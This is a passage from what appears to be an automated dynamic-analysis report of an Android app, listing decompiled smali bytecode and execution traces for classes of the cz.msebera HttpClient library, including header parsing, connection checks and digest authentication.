            • getName: cz.msebera.android.httpclient.impl.conn.DefaultHttpResponseParser
        7move-result-object p2
        9invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        10iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultHttpResponseParser;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        12const-string p1, "Response factory"
        14invoke-static {p3, p1}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15iput-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultHttpResponseParser;->responseFactory:Lcz/msebera/android/httpclient/HttpResponseFactory;
        16new-instance p1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        17const/16 p2, 0x80
        19invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        20iput-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultHttpResponseParser;->lineBuf:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        21return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.message.BasicListHeaderIterator.hasNext
        • java.lang.String.length
        Position Instruction Meta Information
        0cond_0:
        1iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->headerIt:Lcz/msebera/android/httpclient/HeaderIterator;
        3invoke-interface {v0}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        • Time: 1304724
          • This:
            • cz.msebera.android.httpclient.message.BasicListHeaderIterator@a937618
          • Return:
            • false
        4move-result v0
        5if-nez v0, :cond_e
        7iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        8if-eqz v0, :cond_d
        9goto/16 :goto_e
        10cond_d: return-void
        11goto_e:
        12iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        13if-eqz v0, :cond_1a
        15iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        17invoke-virtual {v0}, Lcz/msebera/android/httpclient/message/ParserCursor;->atEnd()Z
        18move-result v0
        19if-eqz v0, :cond_1d
        20cond_1a:
        21invoke-direct {p0}, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->bufferHeaderValue()V
        22cond_1d:
        23iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        24if-eqz v0, :cond_0
        25cond_21:
        26iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        28invoke-virtual {v0}, Lcz/msebera/android/httpclient/message/ParserCursor;->atEnd()Z
        29move-result v0
        30if-nez v0, :cond_46
        32iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->parser:Lcz/msebera/android/httpclient/message/HeaderValueParser;
        34iget-object v1, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->buffer:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        36iget-object v2, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        38invoke-interface {v0, v1, v2}, Lcz/msebera/android/httpclient/message/HeaderValueParser;->parseHeaderElement(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)Lcz/msebera/android/httpclient/HeaderElement;
        39move-result-object v0
        41invoke-interface {v0}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        42move-result-object v1
        44invoke-virtual {v1}, Ljava/lang/String;->length()I
        45move-result v1
        46if-nez v1, :cond_43
        48invoke-interface {v0}, Lcz/msebera/android/httpclient/HeaderElement;->getValue()Ljava/lang/String;
        49move-result-object v1
        50if-eqz v1, :cond_21
        51cond_43: iput-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->currentElement:Lcz/msebera/android/httpclient/HeaderElement;
        52return-void
        53cond_46:
        54iget-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        56invoke-virtual {v0}, Lcz/msebera/android/httpclient/message/ParserCursor;->atEnd()Z
        57move-result v0
        58if-eqz v0, :cond_0
        59const/4 v0, 0x0
        60iput-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->cursor:Lcz/msebera/android/httpclient/message/ParserCursor;
        61iput-object v0, p0, Lcz/msebera/android/httpclient/message/BasicHeaderElementIterator;->buffer:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        62goto/16 :goto_0
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isOpen
        • javax.net.ssl.SSLSession.getLocalPrincipal
        Position Instruction Meta Information
        1invoke-static {p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->adapt(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;
        2move-result-object p1
        4invoke-virtual {p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getTargetAuthState()Lcz/msebera/android/httpclient/auth/AuthState;
        5move-result-object v0
        6if-eqz v0, :cond_19
        8invoke-static {v0}, Lcz/msebera/android/httpclient/impl/client/DefaultUserTokenHandler;->getAuthPrincipal(Lcz/msebera/android/httpclient/auth/AuthState;)Ljava/security/Principal;
        9move-result-object v0
        10if-nez v0, :cond_1a
        12invoke-virtual {p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getProxyAuthState()Lcz/msebera/android/httpclient/auth/AuthState;
        13move-result-object v0
        15invoke-static {v0}, Lcz/msebera/android/httpclient/impl/client/DefaultUserTokenHandler;->getAuthPrincipal(Lcz/msebera/android/httpclient/auth/AuthState;)Ljava/security/Principal;
        16move-result-object v0
        17goto/16 :goto_1a
        18cond_19: const/4 v0, 0x0
        19goto_1a: if-nez v0, :cond_36
        21invoke-virtual {p1}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getConnection()Lcz/msebera/android/httpclient/HttpConnection;
        22move-result-object p1
        24invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpConnection;->isOpen()Z
        • Time: 1304840
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • true
        25move-result v1
        26if-eqz v1, :cond_36
        27instance-of v1, p1, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        28if-eqz v1, :cond_36
        29check-cast p1, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;
        31invoke-interface {p1}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->getSSLSession()Ljavax/net/ssl/SSLSession;
        32move-result-object p1
        33if-eqz p1, :cond_36
        35invoke-interface {p1}, Ljavax/net/ssl/SSLSession;->getLocalPrincipal()Ljava/security/Principal;
        36move-result-object v0
        37cond_36: return-object v0
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isOpen
        • javax.net.ssl.SSLSocket.getSession
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/AbstractClientConnAdapter;->getWrappedConnection()Lcz/msebera/android/httpclient/conn/OperatedClientConnection;
        2move-result-object v0
        4invoke-virtual {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/AbstractClientConnAdapter;->assertValid(Lcz/msebera/android/httpclient/conn/OperatedClientConnection;)V
        6invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/AbstractClientConnAdapter;->isOpen()Z
        • Time: 1304849
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • true
        7move-result v1
        8const/4 v2, 0x0
        9if-nez v1, :cond_f
        10return-object v2
        11cond_f:
        12invoke-interface {v0}, Lcz/msebera/android/httpclient/conn/OperatedClientConnection;->getSocket()Ljava/net/Socket;
        13move-result-object v0
        14instance-of v1, v0, Ljavax/net/ssl/SSLSocket;
        15if-eqz v1, :cond_1d
        16check-cast v0, Ljavax/net/ssl/SSLSocket;
        18invoke-virtual {v0}, Ljavax/net/ssl/SSLSocket;->getSession()Ljavax/net/ssl/SSLSession;
        19move-result-object v2
        20cond_1d: return-object v2
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isReleased
        • cz.msebera.android.httpclient.impl.conn.ConnectionShutdownException.<init>
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/impl/conn/ConnectionShutdownException;
        3}
        4.end annotation
        6invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/AbstractClientConnAdapter;->isReleased()Z
        • Time: 1303496
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • false
        7move-result v0
        8if-nez v0, :cond_9
        9if-eqz p1, :cond_9
        10return-void
        11cond_9: new-instance p1, Lcz/msebera/android/httpclient/impl/conn/ConnectionShutdownException;
        13invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/conn/ConnectionShutdownException;-><init>()V
        14throw p1
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.client.TargetAuthenticationStrategy.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1302020
          • This:
            • cz.msebera.android.httpclient.impl.client.TargetAuthenticationStrategy@8e4890d
          • Return:
            • class cz.msebera.android.httpclient.impl.client.TargetAuthenticationStrategy
            • getName: cz.msebera.android.httpclient.impl.client.TargetAuthenticationStrategy
        • Time: 1302139
          • This:
            • cz.msebera.android.httpclient.impl.client.ProxyAuthenticationStrategy@979a10
          • Return:
            • class cz.msebera.android.httpclient.impl.client.ProxyAuthenticationStrategy
            • getName: cz.msebera.android.httpclient.impl.client.ProxyAuthenticationStrategy
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9iput p1, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->challengeCode:I
        10iput-object p2, p0, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyImpl;->headerName:Ljava/lang/String;
        11return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.client.DefaultHttpClient.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301671
          • This:
            • cz.msebera.android.httpclient.impl.client.DefaultHttpClient@85365f1
          • Return:
            • class cz.msebera.android.httpclient.impl.client.DefaultHttpClient
            • getName: cz.msebera.android.httpclient.impl.client.DefaultHttpClient
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/client/CloseableHttpClient;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301848
          • This:
            • cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy@d0f2736
          • Return:
            • class cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy
            • getName: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isReleased
        • cz.msebera.android.httpclient.impl.conn.ConnectionShutdownException.<init>
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/AbstractPooledConnAdapter;->isReleased()Z
        • Time: 1302520
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • false
        2move-result v0
        3if-nez v0, :cond_9
        4if-eqz p1, :cond_9
        5return-void
        6cond_9: new-instance p1, Lcz/msebera/android/httpclient/impl/conn/ConnectionShutdownException;
        8invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/conn/ConnectionShutdownException;-><init>()V
        9throw p1
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.client.protocol.RequestAddCookies.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301679
          • This:
            • cz.msebera.android.httpclient.client.protocol.RequestAddCookies@527702d
          • Return:
            • class cz.msebera.android.httpclient.client.protocol.RequestAddCookies
            • getName: cz.msebera.android.httpclient.client.protocol.RequestAddCookies
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.client.protocol.RequestAuthCache.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301685
          • This:
            • cz.msebera.android.httpclient.client.protocol.RequestAuthCache@5b7e229
          • Return:
            • class cz.msebera.android.httpclient.client.protocol.RequestAuthCache
            • getName: cz.msebera.android.httpclient.client.protocol.RequestAuthCache
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthCache;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301687
          • This:
            • cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication@a46834f
          • Return:
            • class cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication
            • getName: cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication
        • Time: 1301690
          • This:
            • cz.msebera.android.httpclient.client.protocol.RequestProxyAuthentication@bc377e5
          • Return:
            • class cz.msebera.android.httpclient.client.protocol.RequestProxyAuthentication
            • getName: cz.msebera.android.httpclient.client.protocol.RequestProxyAuthentication
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAuthenticationBase;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301676
          • This:
            • cz.msebera.android.httpclient.client.protocol.RequestClientConnControl@de5e057
          • Return:
            • class cz.msebera.android.httpclient.client.protocol.RequestClientConnControl
            • getName: cz.msebera.android.httpclient.client.protocol.RequestClientConnControl
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/client/protocol/RequestClientConnControl;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301682
          • This:
            • cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies@fe2af3
          • Return:
            • class cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies
            • getName: cz.msebera.android.httpclient.client.protocol.ResponseProcessCookies
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/client/protocol/ResponseProcessCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • cz.msebera.android.httpclient.conn.ssl.AllowAllHostnameVerifier.getClass
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        • Time: 1301642
          • This:
            • ALLOW_ALL
          • Return:
            • class cz.msebera.android.httpclient.conn.ssl.AllowAllHostnameVerifier
            • getName: cz.msebera.android.httpclient.conn.ssl.AllowAllHostnameVerifier
        • Time: 1301644
          • This:
            • BROWSER_COMPATIBLE
          • Return:
            • class cz.msebera.android.httpclient.conn.ssl.BrowserCompatHostnameVerifier
            • getName: cz.msebera.android.httpclient.conn.ssl.BrowserCompatHostnameVerifier
        • Time: 1301647
          • This:
            • STRICT
          • Return:
            • class cz.msebera.android.httpclient.conn.ssl.StrictHostnameVerifier
            • getName: cz.msebera.android.httpclient.conn.ssl.StrictHostnameVerifier
        5move-result-object v1
        7invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;-><init>(Ljava/lang/Object;)V
        8iput-object v0, p0, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9return-void
        APIs
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5if-lez p2, :cond_3
        6goto/16 :goto_5
        7cond_3: const/16 p2, 0x2000
        8goto_5:
        9invoke-super {p0, p1, p2, p3}, Lcz/msebera/android/httpclient/impl/SocketHttpClientConnection;->createSessionInputBuffer(Ljava/net/Socket;ILcz/msebera/android/httpclient/params/HttpParams;)Lcz/msebera/android/httpclient/io/SessionInputBuffer;
        10move-result-object p1
        12iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->wireLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        14invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1302952
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@c58050b
          • Return:
            • false
        15move-result p2
        16if-eqz p2, :cond_22
        17new-instance p2, Lcz/msebera/android/httpclient/impl/conn/LoggingSessionInputBuffer;
        18new-instance v0, Lcz/msebera/android/httpclient/impl/conn/Wire;
        20iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->wireLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        22invoke-direct {v0, v1}, Lcz/msebera/android/httpclient/impl/conn/Wire;-><init>(Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;)V
        24invoke-static {p3}, Lcz/msebera/android/httpclient/params/HttpProtocolParams;->getHttpElementCharset(Lcz/msebera/android/httpclient/params/HttpParams;)Ljava/lang/String;
        25move-result-object p3
        27invoke-direct {p2, p1, v0, p3}, Lcz/msebera/android/httpclient/impl/conn/LoggingSessionInputBuffer;-><init>(Lcz/msebera/android/httpclient/io/SessionInputBuffer;Lcz/msebera/android/httpclient/impl/conn/Wire;Ljava/lang/String;)V
        28move-object p1, p2
        29cond_22: return-object p1

        201 Non-Executed Methods

        Cross References
        APIs
        • java.util.HashSet.<init>
        • java.util.StringTokenizer.<init>
        • java.util.StringTokenizer.hasMoreTokens
        • java.util.StringTokenizer.nextToken
        • java.lang.String.trim
        • java.lang.String.toLowerCase
        • java.util.Set.add
        • java.util.Set.contains
        • java.lang.String.equalsIgnoreCase
        • java.security.Principal.getName
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.util.Formatter.<init>
        • java.lang.Long.valueOf
        • java.util.Formatter.format
        • java.util.Formatter.close
        • java.lang.StringBuilder.toString
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.setLength
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.security.MessageDigest.digest
        • java.lang.StringBuilder.setLength
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.setLength
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.security.MessageDigest.digest
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Set.contains
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthenticationException.<init>
        • cz.msebera.android.httpclient.impl.auth.HttpEntityDigester.<init>
        • cz.msebera.android.httpclient.impl.auth.HttpEntityDigester.close
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.impl.auth.HttpEntityDigester.getDigest
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthenticationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.security.MessageDigest.digest
        • java.lang.StringBuilder.setLength
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.setLength
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.security.MessageDigest.digest
        • java.util.ArrayList.<init>
        • java.util.List.add
        • java.util.List.size
        • java.util.List.get
        • java.lang.String.equals
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthenticationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.auth.AuthenticationException.<init>
        Strings
        • uri
        • realm
        • nonce
        • opaque
        • methodname
        • algorithm
        • MD5
        • qop
        • ,
        • auth-int
        • auth
        • charset
        • ISO-8859-1
        • MD5-sess
        • %08x
        • Qop auth-int cannot be used with a non-repeatable entity
        • I/O error reading entity content
        • Proxy-Authorization
        • Authorization
        • : Digest
        • username
        • response
        • nc
        • cnonce
        • ,
        • Unsuppported digest algorithm:
        • None of the qop methods is supported:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/auth/AuthenticationException;
        3}
        4.end annotation
        5move-object/from16 v1, p0
        6move-object/from16 v0, p2
        8const-string v2, "uri"
        10invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        11move-result-object v2
        13const-string v3, "realm"
        15invoke-virtual {v1, v3}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        16move-result-object v3
        18const-string v4, "nonce"
        20invoke-virtual {v1, v4}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        21move-result-object v4
        23const-string v5, "opaque"
        25invoke-virtual {v1, v5}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        26move-result-object v5
        28const-string v6, "methodname"
        30invoke-virtual {v1, v6}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        31move-result-object v6
        33const-string v7, "algorithm"
        35invoke-virtual {v1, v7}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        36move-result-object v7
        37if-nez v7, :cond_2c
        39const-string v7, "MD5"
        40cond_2c: new-instance v8, Ljava/util/HashSet;
        41const/16 v9, 0x8
        43invoke-direct {v8, v9}, Ljava/util/HashSet;-><init>(I)V
        45const-string v9, "qop"
        47invoke-virtual {v1, v9}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        48move-result-object v9
        49const/4 v10, -0x1
        50if-eqz v9, :cond_75
        51new-instance v14, Ljava/util/StringTokenizer;
        53const-string v15, ","
        55invoke-direct {v14, v9, v15}, Ljava/util/StringTokenizer;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        56goto_43:
        57invoke-virtual {v14}, Ljava/util/StringTokenizer;->hasMoreTokens()Z
        58move-result v15
        59if-eqz v15, :cond_5b
        61invoke-virtual {v14}, Ljava/util/StringTokenizer;->nextToken()Ljava/lang/String;
        62move-result-object v15
        64invoke-virtual {v15}, Ljava/lang/String;->trim()Ljava/lang/String;
        65move-result-object v15
        67sget-object v11, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        69invoke-virtual {v15, v11}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        70move-result-object v11
        72invoke-interface {v8, v11}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
        73goto/16 :goto_43
        74cond_5b: instance-of v11, v0, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        75if-eqz v11, :cond_69
        77const-string v11, "auth-int"
        79invoke-interface {v8, v11}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
        80move-result v11
        81if-eqz v11, :cond_69
        82const/4 v11, 0x1
        83goto/16 :goto_76
        84cond_69:
        85const-string v11, "auth"
        87invoke-interface {v8, v11}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
        88move-result v11
        89if-eqz v11, :cond_73
        90const/4 v11, 0x2
        91goto/16 :goto_76
        92cond_73: const/4 v11, -0x1
        93goto/16 :goto_76
        94cond_75: const/4 v11, 0x0
        95goto_76: if-eq v11, v10, :cond_36b
        97const-string v9, "charset"
        99invoke-virtual {v1, v9}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        100move-result-object v9
        101if-nez v9, :cond_82
        103const-string v9, "ISO-8859-1"
        104cond_82:
        105const-string v10, "MD5-sess"
        107invoke-virtual {v7, v10}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        108move-result v10
        109if-eqz v10, :cond_8d
        111const-string v10, "MD5"
        112goto/16 :goto_8e
        113cond_8d: move-object v10, v7
        114try_start_8e:
        115invoke-static {v10}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->createMessageDigest(Ljava/lang/String;)Ljava/security/MessageDigest;
        116move-result-object v14
        117try_end_92:
        118invoke-interface/range {p1 .. p1}, Lcz/msebera/android/httpclient/auth/Credentials;->getUserPrincipal()Ljava/security/Principal;
        119move-result-object v10
        121invoke-interface {v10}, Ljava/security/Principal;->getName()Ljava/lang/String;
        122move-result-object v10
        124invoke-interface/range {p1 .. p1}, Lcz/msebera/android/httpclient/auth/Credentials;->getPassword()Ljava/lang/String;
        125move-result-object v15
        127iget-object v13, v1, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->lastNonce:Ljava/lang/String;
